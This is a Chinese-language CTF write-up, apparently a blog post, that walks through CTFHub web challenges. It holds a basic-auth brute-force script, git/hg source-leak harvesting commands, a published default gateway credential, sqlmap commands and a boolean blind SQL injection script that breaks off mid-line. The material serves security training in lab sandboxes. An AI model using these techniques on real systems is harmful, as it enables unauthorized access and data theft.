CTFHUB-技能树-WEB通关

Web

题目来自ctfhub技能树web部分,截至2020年11月11日题目更新

Web前置技能

在这里插入图片描述

操作系统

(空)

数据库

(空)

HTTP协议

在这里插入图片描述

请求方式

HTTP 请求方法, HTTP/1.1协议中共定义了八种方法(也叫动作)来以不同方式操作指定的资源。

​ 1.OPTIONS
  返回服务器针对特定资源所支持的HTTP请求方法。也可以利用向Web服务器发送’*'的请求来测试服务器的功能性,如获取当前URL所支持的方法。若请求成功,则它会在HTTP头中包含一个名为“Allow”的头,值是所支持的方法,如“GET,POST”。
 2.HEAD
  向服务器索要与GET请求相一致的响应,只不过响应体将不会被返回,可用于欲判断某个资源是否存在。
 3.GET
  向特定的资源发出请求。注意:GET方法不应当被用于产生“副作用”的操作中。
 4.POST
  向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。可能会导致新的资源的建立和/或已有资源 的修改。
 5.PUT
  向指定资源位置上传其最新内容。
 6.DELETE
  请求服务器删除Request-URI所标识的资源。
 7.TRACE
  回显服务器收到的请求,主要用于测试或诊断。
 8.CONNECT
  HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。

http请求要使用CTFHUB的方式请求,这里需要用到curl命令
在这里插入图片描述

302跳转

HTTP临时重定向
在这里插入图片描述
打开burpsuite开启拦截,然后点击Give me flag,右键发送到repeater
在这里插入图片描述
点击发送,得到flag
在这里插入图片描述

Cookie

Cookie欺骗、认证、伪造
在这里插入图片描述
打开burpsuite开启拦截,刷新页面,把admin=0改成admin=1
在这里插入图片描述
然后放包
在这里插入图片描述

基础认证

在HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证
在这里插入图片描述
点击click会出现一个登录页面
在这里插入图片描述

题目还带了一个附件,解压后是密码top100
在这里插入图片描述

那么思路很明确了,抓包爆破密码,抓到的包认证字段是base64编码的在这里插入图片描述
解码来看看
在这里插入图片描述
这里需要把admin:对应的密码 转换成base64格式,需要用到python脚本了

import base64
dic = '100.txt'
with open(dic, 'r') as f:
    password_dic = f.readlines()
username = 'admin:'
for password in password_dic:
    str1=str.encode(username + password.strip())
    enstr = base64.b64encode(str1)
    enstr=str(enstr)
    enstr=enstr.strip('b\'')
    print(enstr)

把编码的数据粘贴到burpsuite测试器,爆破一下就可以了
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

响应包源代码

HTTP响应包源代码查看
打开网址,直接F12查看控制台,就可以看到flag了
在这里插入图片描述

HTML/CSS

(空)

程序语言

(空)

Web工具配置

在这里插入图片描述

虚拟机

(空)

Burpsuite

(空)

Chrome

(空)

Webshell

(空)

菜刀类工具

(空)

端口扫描

(空)

远程连接

(空)

目标爆破

(空)

信息泄露

在这里插入图片描述

目录遍历

在这里插入图片描述
点击进去,挨个目录找就行了
在这里插入图片描述

PHPINFO

在这里插入图片描述

直接搜索ctfhub{即可
在这里插入图片描述

备份文件下载

在这里插入图片描述

网站源码

当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。
在这里插入图片描述
在这里插入图片描述
查看三个文件都没有flag,于是在网站上访问txt文件,得到flag
在这里插入图片描述

bak文件

当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。
在这里插入图片描述
访问index.php.bak下载源码文件
在这里插入图片描述

vim缓存

当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。

在这里插入图片描述
提示flag在index.php源码中,百度了一下vim缓存文件的后缀为.swp,因为vim缓存文件为隐藏的,所以要在前面再加一个点 访问.index.php.swp,就可以下载下来
在这里插入图片描述

使用文本文件打开是乱码,所以我们用16进制编辑器打开,得到flag
在这里插入图片描述

.DS_Store

.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
在这里插入图片描述
直接访问.DS_Store,下载,打开还是乱码,上HxD
在这里插入图片描述
在文件中看到这么一串字符,复制出来,去掉点,感觉有点像md5加密过的字符,
在这里插入图片描述
先不管,直接访问,得到flag
在这里插入图片描述

Git泄露

在这里插入图片描述

Log

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
在这里插入图片描述
既然题目提示了git泄露漏洞,那么直接下载源码

python3 GitHacker.py http://challenge-3a9f32a6257c2086.sandbox.ctfhub.com:10080/.git
cd challenge-3a9f32a6257c2086_sandbox_ctfhub_com\:10080_/
git log   //查看历史记录
git diff 1881aa7f722b53315cce8d7c068fd427e99fcf23     //比较版本

在这里插入图片描述
在这里插入图片描述

Stash

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
在这里插入图片描述

python3 GitHacker.py http://challenge-34dd4fc45ce6ce3b.sandbox.ctfhub.com:10080/.git
进入目录
git stash pop
cat 179512261914220.txt 
Index

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
在这里插入图片描述

python3 GitHacker.py http://challenge-82987fffb8ed48b7.sandbox.ctfhub.com:10080/.git
cd challenge-82987fffb8ed48b7_sandbox_ctfhub_com\:10080_/
git log
git diff 4fec6a44c7d1116345e6872f69262767d69461fb

在这里插入图片描述

SYN泄露

在这里插入图片描述
工具:https://github.com/kost/dvcs-ripper
在这里插入图片描述

HG泄露

当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。
在这里插入图片描述
工具:https://github.com/kost/dvcs-ripper

./rip-hg.pl -v -u http://challenge-774a58fd50e6acf9.sandbox.ctfhub.com:10080/.hg/
cd .hg
grep -r flag*

在这里插入图片描述
直接访问flag_2097022758.txt
在这里插入图片描述

密码口令

在这里插入图片描述

弱口令

通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。
在这里插入图片描述
直接抓包爆破,就爆破出来了
在这里插入图片描述

字典爆破

(空)

默认口令

在这里插入图片描述
搜索这个网关的默认密码,挨个试一试就可以了,用户名:eyougw 密码:admin@(eyou)
在这里插入图片描述

社会工程

(空)

SQL注入

在这里插入图片描述

整数型注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
输入3的时候没有回显,数据型注入不用加单引号
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

字符型注入

SQL注入 字符型注入, 尝试获取数据库中的 flag
大同小异,加个引号和注释就可以了
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

报错注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
查询列
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

布尔盲注

输入1出现query_success
输入2出现query_success
在这里插入图片描述
输入3出现query_error
在这里插入图片描述
查询只出现正确或者错误
在这里插入图片描述
可以手工注入,不过有点麻烦,可以了解一下即可
https://blog.csdn.net/weixin_45254208/article/details/107505114
在这里插入图片描述
三种方法
第一种 sqlmap
kali为例:
payload:
前提url中找到注入点

sqlmap -u "url" --dbs 
sqlmap -u "url" -D [上一步得到的数据库名] --tables
sqlmap -u "url" -D [上一步得到的数据库名] -T [上一步得到的表明] --columns 
sqlmap -u "url" -D [上一步得到的数据库名] -T [上一步得到的表明] -C [上一步得到的列名] --dump

第二种 burpsuite
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
参考:https://blog.csdn.net/weixin_43486981/article/details/107914742
第三种 脚本

import requests
import time

urlOPEN = 'http://challenge-024aac0fff094f88.sandbox.ctfhub.com:10080?id='
starOperatorTime = []
mark = 'query_success'


def database_name():
    name = ''
    for j in range(1, 9):
        for i in 'sqcwertyuioplkjhgfdazxvbnm':
            url = urlOPEN + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
            j, i)
            # print(url+'%23')
            r = requests.get(url)
            if mark in r.text:
                name = name + i

                print(name)

                break
    print('database_name:', name)


database_name()


def table_name():
    list = []
    for k in range(0, 4):
        name = ''
        for j in range(1, 9):
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
                k, j, i)
                # print(url+'%23')
                r = requests.get(url)
                if mark in r.text:
                    name = name + i
                    break
        list.append(name)
    print('table_name:', list)


# start = time.time()
table_name()


# stop = time.time()
# starOperatorTime.append(stop-start)
# print("所用的平均时间: " + str(sum(starOperatorTime)/100))


def column_name():
    list = []
    for k in range(0, 3):  # 判断表里最多有4个字段
        name = ''
        for j in range(1, 9):  # 判断一个 字段名最多有9个字符组成
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN + 'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
                k, j, i)
                r = requests.get
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值